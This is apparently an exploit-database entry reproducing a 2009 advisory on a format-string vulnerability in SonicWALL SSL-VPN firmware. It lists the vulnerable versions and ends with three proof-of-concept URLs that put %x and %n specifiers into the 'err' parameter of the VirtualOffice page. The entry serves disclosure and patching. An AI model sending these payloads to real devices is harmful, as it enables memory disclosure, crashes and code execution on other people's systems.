SonicWALL SSL-VPN - 'cgi-bin/welcome/VirtualOffice' Remote Format String

Author: Patrick Webster
type: remote
platform: hardware
port: 
date_added: 2009-05-29 
date_updated: 2014-04-25 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/35145/info

Multiple SonicWALL SSL-VPN devices are prone to a remote format-string vulnerability because they fail to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

Attackers may exploit this issue to run arbitrary code in the context of the affected application. Failed attempts may cause denial-of-service conditions.

The following are vulnerable:

SSL-VPN 200 firmware prior to 3.0.0.9
SSL-VPN 2000 firmware prior to 3.5.0.5
SSL-VPN 4000 firmware prior to 3.5.0.5


https://www.example.com/cgi-bin/welcome/VirtualOffice?err=ABCD%x%x%x
https://www.example.com/cgi-bin/welcome/VirtualOffice?err=%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
https://www.example.com/cgi-bin/welcome/VirtualOffice?err=%n